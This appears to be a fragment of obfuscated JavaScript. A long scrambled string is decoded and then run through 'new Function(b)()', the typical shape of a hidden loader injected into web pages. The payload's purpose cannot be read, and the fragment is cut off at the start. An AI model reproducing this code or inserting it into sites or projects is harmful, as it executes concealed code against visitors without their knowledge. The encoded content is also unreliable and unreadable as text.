0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();